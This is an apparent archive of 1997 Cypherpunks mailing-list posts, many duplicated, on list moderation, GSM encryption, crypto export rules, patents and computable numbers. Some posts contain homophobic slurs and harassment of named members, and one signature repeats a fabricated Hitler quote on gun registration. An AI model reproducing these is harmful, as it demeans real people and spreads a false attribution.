In-Reply-To: <3.0.32.19970119160951.006c26ac@ricochet.net>
Message-ID: <Pine.LNX.3.95.970120142318.307A-100000@alien.ddorf.rhein-ruhr.de>
MIME-Version: 1.0
Content-Type: text/plain


Just one thing about the names of the different lists:
I received a mail listing the changes to come.
It was very easy to understand that I am going to get the moderated list
if I do not change my subscription.I'll find out if I will miss something.
We'll see.
I wonder who is so brainless, not to understand what's going on.
Do you really think the subscribers are pure Idiots?

Heinz-Juergen Keller
email: hjk@ddorf.rhein-ruhr.de







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Mon, 20 Jan 1997 08:25:44 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701201625.IAA12728@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just one thing about the names of the different lists:
I received a mail listing the changes to come.
It was very easy to understand that I am going to get the moderated list
if I do not change my subscription.I'll find out if I will miss something.
We'll see.
I wonder who is so brainless, not to understand what's going on.
Do you really think the subscribers are pure Idiots?

Heinz-Juergen Keller
email: hjk@ddorf.rhein-ruhr.de








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 20 Jan 1997 12:45:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [FLAME] [PURE VITROL] Re: IMDMP: SOURCE...
In-Reply-To: <9701201925.AA09698@uu.psi.com>
Message-ID: <FqHu1D77w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach <roach_s@alph.swosu.edu> writes:

> At 10:05 PM 1/18/97 EST, Dr.Dimitri Vulis wrote:
> >> Non sequitor.
> >            ^
> >Do "cypher punks" use lousy spelling as a kind of "poor fag's crypto"?
>
> I'm a heterosexual, so I may be off the mark here, but.  Reguarding my
> history books, Mr. Hoover (can't remember his first name), of F.B.I. fame, a
> reported homosexual, was one of the biggest gaybashers of his era.  By your
> acidic comments, are you trying to tell us something?

Homosexual activists have accused many prominent people, like Hoover
and da Vinci, of sharing their sexual perversions.  I have seen no
evidence that Hoover was a pervert other than a claim by one woman,
a proven liar, that she was present at an orgy where Hoover wore a
woman's dress and engaged in sex with men. Several other people who
she claimed were present at the orgy called her a liar. She's dead,
or she would have probably been supporting Geekmore and EFF today.

You may recall that the moderator cocksucker Sandfart invited me to
a "cypher punks" meating in San Francisco, and if I had accepted, would
have told many lies about my participation in their homosexual orgies.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 20 Jan 1997 14:47:43 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <v02140b02af0973d64630@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Steve Shear <azur@netcom.com> writes:
>> [very useful explanation of GSM TDMA, and the new HSCSD]
>
>64 kbit/s tied to ISDN is very nice technology.
>
>> ENCRYPTED GSM LINKS
>> If the GSM phone includes a data port, as some already do, just connect
>> your laptop, dial your ISP and 'push' the encrypted traffic over that link
>> (e.g., using TCP/IP and PGPfone).
>
>This would obviously be possible, but to my mind reduces the appeal of
>the system.  Not every one has a laptop.
[snip]

Retrofitting the stonger encryption (e.g., IDEA) to some existing GSM
phones may be practical (as I've discussed in previous postings), but
unless the service providers support the stonger crypto (seems very
unlikely at the moment)parties at the other end of the line will need an
Eric Blossom-like device or a laptop running PGPfone.  I can see no way
around this.

>
>Also, the cell phone tarriffs may be higher if you need higher
>bandwidth to get the software only voice codec implementations in
>PGPfone to produce equivalent full-duplex voice quality to that
>expected from a digital mobile phone.

I may be wrong, but the faster laptops are already able to support the GSM
codes and rates in PGPfone (or could).  However, most of the service
providers may only be offering 9.6kb/s GSM data links at this time, and
this would surely impact voice quality.  If or when 28.8kb/s data is common
via GSM voice links via PGPfone should be better than the default GSM coded
voice.

--Steve


PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet, electronic currency and wireless development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 20 Jan 1997 15:26:57 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <199701202326.PAB23017@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Steve Shear <azur@netcom.com> writes:
>> [very useful explanation of GSM TDMA, and the new HSCSD]
>
>64 kbit/s tied to ISDN is very nice technology.
>
>> ENCRYPTED GSM LINKS
>> If the GSM phone includes a data port, as some already do, just connect
>> your laptop, dial your ISP and 'push' the encrypted traffic over that link
>> (e.g., using TCP/IP and PGPfone).
>
>This would obviously be possible, but to my mind reduces the appeal of
>the system.  Not every one has a laptop.
[snip]

Retrofitting the stonger encryption (e.g., IDEA) to some existing GSM
phones may be practical (as I've discussed in previous postings), but
unless the service providers support the stonger crypto (seems very
unlikely at the moment)parties at the other end of the line will need an
Eric Blossom-like device or a laptop running PGPfone.  I can see no way
around this.

>
>Also, the cell phone tarriffs may be higher if you need higher
>bandwidth to get the software only voice codec implementations in
>PGPfone to produce equivalent full-duplex voice quality to that
>expected from a digital mobile phone.

I may be wrong, but the faster laptops are already able to support the GSM
codes and rates in PGPfone (or could).  However, most of the service
providers may only be offering 9.6kb/s GSM data links at this time, and
this would surely impact voice quality.  If or when 28.8kb/s data is common
via GSM voice links via PGPfone should be better than the default GSM coded
voice.

--Steve


PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet, electronic currency and wireless development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 20 Jan 1997 13:58:50 -0800 (PST)
To: cypherpunks-outgoing-ksiuw@toad.com
Subject: Re: Slow Cypherpunk Day
In-Reply-To: <199701201704.JAA04094@netcom21.netcom.com>
Message-ID: <v0300780aaf097d476225@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:04 pm -0500 1/20/97, Mike Duvos wrote:
>Is cypherpunks-outgoing-ksiuw@toad.com where articles should be sent
>to bypass the censors?

Only until they figure out to set it to receive mail from Sandy only.
(Don't forget to use the "Received" headers to avoid spoofing, Mr. G.)

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Sun, 19 Jan 1997 18:12:17 -0800 (PST)
To: tozser@stolaf.edu
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
In-Reply-To: <199701191820.MAA24006@nic.stolaf.edu>
Message-ID: <199701200208.PAA21232@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997 12:20:45 -0600, Sir Robin of Locksley wrote:

    >Is it possible to prove that number 0.1234567891011121314151617181920...
    >iz irrational? 

   Most definately. All you need to do is prove that the set of this number is
   uncountable, ergo is irrational. If you have friend who have done math in real
   analysis they can explain more.

This makes no sense at all.  Presumably "the set of this number" means
the cardinality of the set {1, 2, 3, ...} which is quite obviously
countable!  The definition of countable is that it can be put in one
to one correspondence with exactly this set!

The number is, nevertheless, irrational.  A rational number is one
that can be written as a ratio of two integers (and infinity is _not_
an integer...or any kind of number, for that matter.  Else there would
be no irrational numbers).  Any rational number will end with a
repeating series of digits (which may be 0s, of course).  This number
clearly has no such repeating sequence.

    >Is it REALLY true that there are real numbers that cannot be generated
    >by any algorithm? Some guy said that since the set of algorithms is
    >countable, but the set of real numbers is more than countable, there 
    >must be some numbers for which there is no algorithms that generate them.

   If you show me an algorythm that calculates the real number TT (=3.14.....)
   I'll give you a Nobel Prize personally!

Some things are too easy.  How about pi = 4(1 - 1/3 + 1/5 - 1/7 + ...)
Evaluate.

The prize should probably go to Liebniz, though...

To answer the original question, yes, there are numbers (the vast
majority of numbers, in fact) which cannot be calculated by an
algorithm.  The computable numbers (those which can be generated
algorithmically) are countable (because a universal Turing machine can
emulate any other Turing machine given the appropriate input
(program), you can give each possible algorithm a number corresponding
to the program that implements it.  Such numbers are integers, hence
countable, so the number of algorithms is countable.  Since the real
numbers are not countable, it's obvious that there are real numbers
which are not computable.)

    >But I still do not believe him.
    >
    >Also, is it true that the sequence of digits in e is random because the ONLY
   way to get to the
    >p'th digit is to calculate the p-1'st digits?
    >
   Exactly! This is called recursive definition. To get the p-th set in the
   sequence you need to find p-1 first...

The sequence of digits in e is not random!  You mean the distribution
of digits looks random (is it?).  e is certainly computable, which
implies there is an algorithm that generates successive digits of e
given inputs of 0, 1, 2, 3, ...  I have no idea whether every such
algorithm must generate all preceding digits in doing so.

   >Also, is it the correct definition of a real number: 
    >
    >``A real number is the class of numbers which can represent the length of
    >an arbitrary line.''

   Well, that is not entirely true... The length of any arbitrary line can be any
   number, rational, natural, etc. Real numbers are the numbers that defy all
   other categorization (they are not rational, irrational, natural, etc.) They
   are complex and despite any instinctual perception, there are a lot of them!

No, the original definition is perfectly good.  Natural numbers are
rational, and rational numbers are real numbers.  Irrational numbers
are also real numbers.  The last sentence is correct, though -- real
numbers are complex numbers (although that's not what you meant, I
think) and there are a lot of them (an infinite number, of course, but
a "bigger" infinity than the countable sets of naturals or rationals).

   -----BEGIN PGP SIGNATURE-----
   Version: 4.5

What's version 4.5?

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
November, n.:
	The eleventh twelfth of a weariness.
		-- Ambrose Bierce, "The Devil's Dictionary"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Mon, 20 Jan 1997 12:13:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: ElGamal
Message-ID: <199701202010.PAA26311@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. Mayonnaise is the living proof that anal sex causes pregnancy.

            o
        /\O/        O Timothy C. Mayonnaise
       0  \\    | 0-#
          //    |  / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 12:16:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Technical data" exemptions in new crypto regs
Message-ID: <v0300780caf09815babd2@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


[Can anyone who knows more than I do answer this? --Declan]

---

Date: Mon, 20 Jan 1997 14:45:44 -0500 (EST)
To: declan@well.com (Declan McCullagh)
From: Solveig Bernstein <sberns@cato.org>

What have the new crypto regs done to the "technical data" and the "public
domain" exemptions from ITAR?

The problem is this:  as I understand it, the Commerce Dept. regs exempt
teaching and print presentations generally, but these exemptions do not
apply to "encryption software."

Does this mean that the exemptions do not apply to *teaching about*
encryption software or *publications about* encryption software?  Or *only*
that the exemptions do not apply to diskette-contained source code or object
code.

In other words, the new regs might completely decontrol teaching and
publication of something like Professor Bernstein's Snuffle.

On the other hand, the new regs might, like ITAR, restrict teaching and
publication of Snuffle (as well as publication of source code in diskette
format).

The purpose of the question is to understand whether a First Amendment
challenge to the new regs is a First Amendment challenge to a restriction on
*teaching, publication, and program distribution* or just a challenge to a
restriction on *program distribution.*


Solveig Bernstein, Esq.
(202) 789-5274
(202) 842-3490 (fax)

Assistant Director of Telecommunications & Technology Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001


-------------------------
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 13:46:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Technical data" exemptions in new crypto regs
Message-ID: <199701202146.NAA19272@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Can anyone who knows more than I do answer this? --Declan]

---

Date: Mon, 20 Jan 1997 14:45:44 -0500 (EST)
To: declan@well.com (Declan McCullagh)
From: Solveig Bernstein <sberns@cato.org>

What have the new crypto regs done to the "technical data" and the "public
domain" exemptions from ITAR?

The problem is this:  as I understand it, the Commerce Dept. regs exempt
teaching and print presentations generally, but these exemptions do not
apply to "encryption software."

Does this mean that the exemptions do not apply to *teaching about*
encryption software or *publications about* encryption software?  Or *only*
that the exemptions do not apply to diskette-contained source code or object
code.

In other words, the new regs might completely decontrol teaching and
publication of something like Professor Bernstein's Snuffle.

On the other hand, the new regs might, like ITAR, restrict teaching and
publication of Snuffle (as well as publication of source code in diskette
format).

The purpose of the question is to understand whether a First Amendment
challenge to the new regs is a First Amendment challenge to a restriction on
*teaching, publication, and program distribution* or just a challenge to a
restriction on *program distribution.*


Solveig Bernstein, Esq.
(202) 789-5274
(202) 842-3490 (fax)

Assistant Director of Telecommunications & Technology Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001


-------------------------
The Netly News Network
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Mon, 20 Jan 1997 13:36:00 -0800 (PST)
To: Tim Dierks <timd@consensus.com>
Subject: Re: Question on Diffie-Hellman patent
In-Reply-To: <199701201913.LAA15649@toad.com>
Message-ID: <9701202135.AA00489@ch1d157nwk>
MIME-Version: 1.0
Content-Type: text/plain


Tim Dierks writes:
> Here's a summary of some relevant crypto patents:
>
> Name             Number     Filed          Issued          Expires
>
> Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000

So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
celebrating?  :-)


andrew




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Mon, 20 Jan 1997 13:56:01 -0800 (PST)
To: Tim Dierks <timd@consensus.com>
Subject: Re: Question on Diffie-Hellman patent
Message-ID: <199701202156.NAA19594@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Dierks writes:
> Here's a summary of some relevant crypto patents:
>
> Name             Number     Filed          Issued          Expires
>
> Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000

So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
celebrating?  :-)


andrew





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 15:19:36 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Dedikend Cut's and such (fwd)
In-Reply-To: <199701201626.IAA12828@toad.com>
Message-ID: <199701210021.QAA15476@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > > Did a little research, Dedekind Cut's and such use Integers to define a
> > > SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> > > set of Reals.
> > 
> > They do.  The set of all numbers representable by a DC is precisely 
> > the set of reals.
> 
> Then you are saying that using Dedekind Cut's it is possible to define the
> ENTIRE set of Reals? I am assuming that entire includes all those Reals
> which aren't representable by any algorithm and of which we can't even speak
> (even though we are).
> 
> Another pretty nifty trick.

Yep.  "Define" is not the same as "generate".  Algorithms "generate".

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 16:40:39 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Dedikend Cut's and such (fwd)
Message-ID: <199701210040.QAA24718@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > > Did a little research, Dedekind Cut's and such use Integers to define a
> > > SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> > > set of Reals.
> > 
> > They do.  The set of all numbers representable by a DC is precisely 
> > the set of reals.
> 
> Then you are saying that using Dedekind Cut's it is possible to define the
> ENTIRE set of Reals? I am assuming that entire includes all those Reals
> which aren't representable by any algorithm and of which we can't even speak
> (even though we are).
> 
> Another pretty nifty trick.

Yep.  "Define" is not the same as "generate".  Algorithms "generate".

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc <marc@deepsea.sys.web-uk.net>
Date: Mon, 20 Jan 1997 08:23:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: how to get off this list
Message-ID: <Pine.LNX.3.93.970120162051.22887A-100000@deepsea.sys.web-uk.net>
MIME-Version: 1.0
Content-Type: text/plain


How on earth an i meant to get off this mailing list???
have tried loadz of the un  scribe says its undone it but it bloody hasnt
someone help me





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 20 Jan 1997 14:34:55 -0800 (PST)
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Slow Cypherpunk Day
In-Reply-To: <199701201704.JAA04094@netcom21.netcom.com>
Message-ID: <199701202231.QAA01840@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mike Duvos wrote:
> 
> Is cypherpunks-outgoing-ksiuw@toad.com where articles should be sent
> to bypass the censors?
> 
>    Testing 1 2 3...
> 
>    Cocksucker Armenian Mayonaise Gilmore Faggot Crypto
> 
>    Testing 1 2 3...
> 
> We now return you to your regular programming...
> 

It appears that they suffer fro the same problem as Prof. Alex Kaplan
once suffered from, when he thought that sending a message to 
inforuss-outgoing was enough to protect himself from forgeries. 

And mind you, Kaplan was a professor.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 20 Jan 1997 13:36:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Monitoring the monitors
In-Reply-To: <199701201611.IAA12370@toad.com>
Message-ID: <Pine.LNX.3.95.970120163621.1567B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 19 Jan 1997, Ross Wright wrote:

> On or About 19 Jan 97 at 17:37, Dale Thorn wrote:
> 
> > Somebody correct me if I'm wrong.  We already get the censored stuff
> > on the alleged-to-be "unedited" list, so by looking at the censored
> > list only, we can do the subtraction more reliably than Sandfort.
> > 
> > Just the censored list is needed, not the cut-out stuff, as far as I
> > know.
> 
> I disagree.  Or I don't quite understand what you are saying.  I
> want to see the moderated list and I want to see what was removed.

You can see what was removed by comparing the unedited and moderated lists.
Allow a certain lagtime (24 hours, perhaps) for moderated messages to arrive
and run a diff on the two folders.  This will give you the rejected material.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMuPmMizIPc7jvyFpAQGQqwf/f8TGLE4RC0n7Xr2Ut35MtqE4B5pwDbpp
tcGAjKAprzTRA/H5TIUTbV2/ZYvP60kFx/ZFoKvDNqaYb9lyU+XrYRCBAPyaxGND
19ZMHJ6qsqOjCxHHj2wP04Dpvv8BQ1rASibImYwAG4YFA65NRqeNdtjGNCKPWZtm
bmMC03aUl/1dhhU1uSMw+Ps9okmW7tfBuuXW6q7tchNQ3kH8blYbZr1eyWSAHH+J
uCdc4oV5eVgfvlKLLt0iU6DNoJUFitYtCRcFsIHH64B4VijFLigw0bUH0z1DOqsW
n7Mlp3IUaVcHnOuyKLg362455n7UygVPmAIpFewlI5mX7/6VaNgjCg==
=GAUL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 14:42:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Server Authentication
Message-ID: <199701202249.QAA03591@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

 Forwarded message:
 
> Date: Mon, 20 Jan 1997 09:26:05 -0800 (PST)
> From: Eric Murray <ericm@lne.com>
> Subject: Re: Server Authentication
> 
> I think that you can get access to the server's certificate.
> I know you can from the CGI interface.  Unfortunately it's the
> raw ASN.1 encoded certificate, so you would have to ASN.1 decode it.
> Bleah.
> 
> If the SSL handshake completes, then you can assume that the client
> has verified and authenticated the server certificate.   The only problem
> would be that the authentication might not be up to the plugin's standards-
> i.e.  a connection to www.foo.com is somehow intercepted by
> www.ripoff-plugins.com.  The server www.ripoff-plugins.com presents a cert
> who's name is www.foo.com.  The browser correctly presents a pop-up dialog
> noting the discrepancy, and the luser operating the client clicks
> on the 'OK' button, allowing the SSL handshake to finish.  Oops.
 
Isn't LDAP v3 supposed to answer some of these questions related to server
authentication as well anonymity of the users site (if desired)?
 
                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com
 
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 15:26:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Server Authentication
Message-ID: <199701202326.PAA23000@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

 Forwarded message:
 
> Date: Mon, 20 Jan 1997 09:26:05 -0800 (PST)
> From: Eric Murray <ericm@lne.com>
> Subject: Re: Server Authentication
> 
> I think that you can get access to the server's certificate.
> I know you can from the CGI interface.  Unfortunately it's the
> raw ASN.1 encoded certificate, so you would have to ASN.1 decode it.
> Bleah.
> 
> If the SSL handshake completes, then you can assume that the client
> has verified and authenticated the server certificate.   The only problem
> would be that the authentication might not be up to the plugin's standards-
> i.e.  a connection to www.foo.com is somehow intercepted by
> www.ripoff-plugins.com.  The server www.ripoff-plugins.com presents a cert
> who's name is www.foo.com.  The browser correctly presents a pop-up dialog
> noting the discrepancy, and the luser operating the client clicks
> on the 'OK' button, allowing the SSL handshake to finish.  Oops.
 
Isn't LDAP v3 supposed to answer some of these questions related to server
authentication as well anonymity of the users site (if desired)?
 
                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com
 
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:09:59 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: GSM technology
In-Reply-To: <3.0.32.19970120132632.006e91cc@192.100.81.126>
Message-ID: <32E41718.72A4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> 
> At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
> >       Does anyone use ADSL lines?  or are they still very expensive?
> 
> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.

  SaskTel also offers this type of access, at around the same price.
  As long as they had a monopoly on the citizens of the province,
they gouged people in the boondocks $ 6.00/hr for basic access to
the InterNet.
  Now that they have competition, and need to have competitive rates to
stay in business, they are acting like they are the consumer's best
friend, instead of rip-off shitheads.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:56:00 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: GSM technology
Message-ID: <199701210056.QAA24923@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> 
> At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
> >       Does anyone use ADSL lines?  or are they still very expensive?
> 
> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.

  SaskTel also offers this type of access, at around the same price.
  As long as they had a monopoly on the citizens of the province,
they gouged people in the boondocks $ 6.00/hr for basic access to
the InterNet.
  Now that they have competition, and need to have competitive rates to
stay in business, they are acting like they are the consumer's best
friend, instead of rip-off shitheads.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:09:46 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <32E41C4C.7CDE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

> Note that since I lost multiple messages due to one failure, tests of the
> form, "Once is happenstance, twice coincidence, three or more is
> conspiracy" might say, "conspiracy" even for just one failure.  The chances
> of this test criteria error increase for frequent posters.

  It sounds like you're laying the groundwork for debunking CypherPunk
conspiracy myths before they even appear.
  Not that I'm the paranoid type (but I 'would' be interested in knowing
exacly where you 'claim' you were when J.F.K. was shot).

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:55:48 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Sandy and the Doc
Message-ID: <199701210055.QAA24904@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

> Note that since I lost multiple messages due to one failure, tests of the
> form, "Once is happenstance, twice coincidence, three or more is
> conspiracy" might say, "conspiracy" even for just one failure.  The chances
> of this test criteria error increase for frequent posters.

  It sounds like you're laying the groundwork for debunking CypherPunk
conspiracy myths before they even appear.
  Not that I'm the paranoid type (but I 'would' be interested in knowing
exacly where you 'claim' you were when J.F.K. was shot).

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:11:41 -0800 (PST)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: Re: Take it to sci.math
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970120173941Z-48898@INET-01-IMC.microsoft.com>
Message-ID: <32E41D5E.4C62@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:

> And as everyone on this list acutely knows, neither math, science, nor
> politics has anything to do with crypto.

  I agree. Let's stick to discussions of crack-crypto Ebonics,
and child-crypto PigLatin.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:55:35 -0800 (PST)
To: Blanc Weber <blancw@microsoft.com>
Subject: Re: Take it to sci.math
Message-ID: <199701210055.QAA24887@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:

> And as everyone on this list acutely knows, neither math, science, nor
> politics has anything to do with crypto.

  I agree. Let's stick to discussions of crack-crypto Ebonics,
and child-crypto PigLatin.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:10:08 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: UNS_top
In-Reply-To: <1.5.4.32.19970120152824.0068df5c@pop.pipeline.com>
Message-ID: <32E41F0C.342C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
>  Governments in China, Burma and
>  Singapore have already tried to discipline this on-line activity with
>  minimal success.

  Do you have any pointers to information in regard to this, or are you
just being a goddamn tease?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
